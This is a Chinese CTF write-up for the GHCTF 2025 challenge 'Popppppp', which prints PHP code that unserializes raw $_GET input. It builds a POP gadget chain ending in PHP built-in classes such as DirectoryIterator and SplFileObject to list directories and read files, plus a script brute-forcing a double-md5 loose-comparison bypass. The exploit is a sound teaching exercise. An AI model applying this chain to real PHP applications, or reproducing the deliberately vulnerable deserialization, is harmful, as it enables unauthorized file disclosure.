[GHCTF 2025]Popppppp[pop链构造] [php原生类的利用] [双md5加密绕过]

server/2025/3/31 22:40:24/

题目 

<?php
error_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;public function __construct($a) {$this->fruit1 = $a;}function __destruct() {echo $this->fruit1;}public function __toString() {$newFunc = $this->fruit2;return $newFunc();}
}class Forbidden {private $fruit3;public function __construct($string) {$this->fruit3 = $string;}public function __get($name) {$var = $this->$name;$var[$name]();}
}class Warlord {public $fruit4;public $fruit5;public $arg1;public function __call($arg1, $arg2) {$function = $this->fruit4;return $function();}public function __get($arg1) {$this->fruit5->ll2('b2');}
}class Samurai {public $fruit6;public $fruit7;public function __toString() {$long = @$this->fruit6->add();return $long;}public function __set($arg1, $arg2) {if ($this->fruit7->tt2) {echo "xxx are the best!!!";}}
}class Mystery {public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = new $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}
}class Princess {protected $fruit9;protected function addMe() {return "The time spent with xxx is my happiest time" . $this->fruit9;}public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);}
}class Philosopher {public $fruit10;public $fruit11="sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {return $this->fruit10->hey;}}
}class UselessTwo {public $hiddenVar = "123123";public function __construct($value) {$this->hiddenVar = $value;}public function __toString() {return $this->hiddenVar;}
}class Warrior {public $fruit12;private $fruit13;public function __set($name, $value) {$this->$name = $value;if ($this->fruit13 == "xxx") {strtolower($this->fruit12);}}
}class UselessThree {public $dummyVar;public function __call($name, $args) {return $name;}
}class UselessFour {public $lalala;public function __destruct() {echo "Hehe";}
}if (isset($_GET['GHCTF'])) {unserialize($_GET['GHCTF']);
} else {highlight_file(__FILE__);
}

这个一开始真没看出来是原生类的利用,光知道call_user_func()了 

一些魔术方法再次复习:

  • __call():当访问不存在的方法时调用
  • __set():当给一个不存在的属性赋值的时候触发
  • __get():当访问不存在的属性的时候调用
  •  __invoke():当把类当作函数调用的时候触发

双重md5加密绕过

 if (md5(md5($this->fruit11)) == 666)

ai写的脚本

import hashlib  #可以进行md5计算(哈希)
import itertools #创建迭代器
def find_collision():chars = 'abcdefghijklmnopqrstuvwxyz0123456789'for s in itertools.product(chars, repeat=4): # 使用itertools.product函数生成所有可能的长度为 4 的字符串组合,根据计算力调整长度s = ''.join(s)first_hash = hashlib.md5(s.encode()).hexdigest()second_hash = hashlib.md5(first_hash.encode()).hexdigest()if second_hash.startswith('666') and not second_hash[3].isdigit():return sreturn Nonesolution = find_collision()
print(f"Payload: {solution}")  # 输出符合要求的字符串

 爆破得 abe2 可以

pop链

CherryBlossom()--->Samurai()--->Warlord()--->Philosopher()--->Mystrey()__destruct()     __toString()    __call()    __invoke()         __get()fruit1              fruit6        fruit4      fruit10           
$cb=new CherryBlossom();
$cb->fruit1=new Samurai();
$cb->fruit1->fruit6=new Warlord();
$cb->fruit1->fruit6->fruit4=new Philosopher();
$cb->fruit1->fruit6->fruit4->fruit10=new Mystery();echo serialize($cb);

利用array_walk():

 array_walk()用于遍历数组并对每个元素执行自定义的回调函数

在这里是:

array_walk($this, function ($day1, $day2) //day1是参数,day2是原生类
{$day3 = new $day2($day1);  //实例化类 此时day3应该是数组之类的东西foreach ($day3 as $day4) {echo ($day4 . '<br>');}
});

 遍历类 $this,但是他是一个类不是数组,在php底层会将类转换成数组:

规则如下:

  • 公共属性(public:会被保留,键名为属性名,键值为属性值。

  • 受保护属性(protected:键名前会添加 \0*\0(空字符标记),例如 \0*\0fruit9

  • 私有属性(private:键名前会添加 \0类名\0,例如 \0Forbidden\0fruit3

也就是说这里如果自己设置一个属性,键值和键名都是我们来定义,就用到了php原生类

php常见原生类读取文件

名字作用举例
DirectoryIterator查看文件系统目录(查看目录)DirectoryIterator("/")
FilesystemIterator    基本同上    FilesystemIterator("/")
GlobIterator 可以通过模式匹配来寻找文件路径GlobIterator("f*.txt")[知道文件部分名字]
SplFileObject     文件内容的遍历、查找和操作(查看文件) SplFileObject("/path/to/file.txt")

查看目录用 DirectoryIterator 或者 FilesystemIterator 都行

查看文件用 SplFileObject 

 

 

 


http://www.ppmy.cn/server/178543.html

相关文章

使用hel-micro微服务实现在jsp项目中引入react组件

以下是一个完整的示例&#xff0c;涵盖 React子应用配置、JSP主应用集成 以及 样式隔离 的实现细节。我们将通过 CSS Modules 和 Shadow DOM 确保React样式与JSP样式互不干扰。 一、React子应用配置 1. 项目结构 react-module/ ├── src/ │ ├── index.js # 模块…

LeetCode面试经典150题

目录 力扣80. 删除有序数组中的重复项 II 代码解析 力扣274. H 指数 代码解析 力扣151. 反转字符串中的单词 解析代码 力扣12. 整数转罗马数字 解析代码 力扣28. 找出字符串中第一个匹配项的下标 解析代码1&#xff08;暴力模拟&#xff09; 解析代码2&#xff08;K…

JVM的组成--运行时数据区

JVM的组成 1、类加载器&#xff08;ClassLoader&#xff09; 类加载器负责将字节码文件从文件系统中加载到JVM中&#xff0c;分为&#xff1a;加载、链接&#xff08;验证、准备、解析&#xff09;、和初始化三个阶段 2、运行时数据区 运行时数据区包括&#xff1a;程序计数…

golang单机锁实现

1、锁的概念引入 首先&#xff0c;为什么需要锁&#xff1f; 在并发编程中&#xff0c;多个线程或进程可能同时访问和修改同一个共享资源&#xff08;例如变量、数据结构、文件&#xff09;等&#xff0c;若不引入合适的同步机制&#xff0c;会引发以下问题&#xff1a; 数据竞…

国产AI编程工具,助力3D“微”引擎开发!——从一场直播到工业科技需求的革新实践

开篇&#xff1a;一场直播引发的3D”微“引擎开发热潮 前几天&#xff0c;红孩儿在其《Python小白玩转3D引擎开发》直播中&#xff0c;邀请到了工业软件企业苏州中源广科信息科技有限公司董事长 张麟 博士 给大家分享在工业企业中&#xff0c;3D“微”引擎开发的巨大价值。 张…

基于YOLOv8深度学习的智能小麦害虫检测识别系统

作者简介&#xff1a;Java领域优质创作者、CSDN博客专家 、CSDN内容合伙人、掘金特邀作者、阿里云博客专家、51CTO特邀作者、多年架构师设计经验、多年校企合作经验&#xff0c;被多个学校常年聘为校外企业导师&#xff0c;指导学生毕业设计并参与学生毕业答辩指导&#xff0c;…

flutter本地运行web端图片跨域解决

方法一&#xff1a;只适用开发阶段 修改Flutter SDK中的chrome.dart文件&#xff0c;添加--disable-web-security参数以关闭浏览器的跨域限制。 步骤&#xff1a; 找到路径&#xff1a;Flutter/packages/flutter_tools/lib/src/web/chrome.dart 在--enable-experimental-web-…

【实用部署教程】olmOCR智能PDF文本提取系统:从安装到可视化界面实现

文章目录 引言系统要求1. 环境准备&#xff1a;安装Miniconda激活环境 2. 配置pip源加速下载3. 配置学术加速&#xff08;访问国外资源&#xff09;4. 安装系统依赖5. 安装OLMOCR6. 运行OLMOCR处理PDF文档7. 理解OLMOCR输出结果9. 可视化UI界面9.1 安装界面依赖9.2 创建界面应用…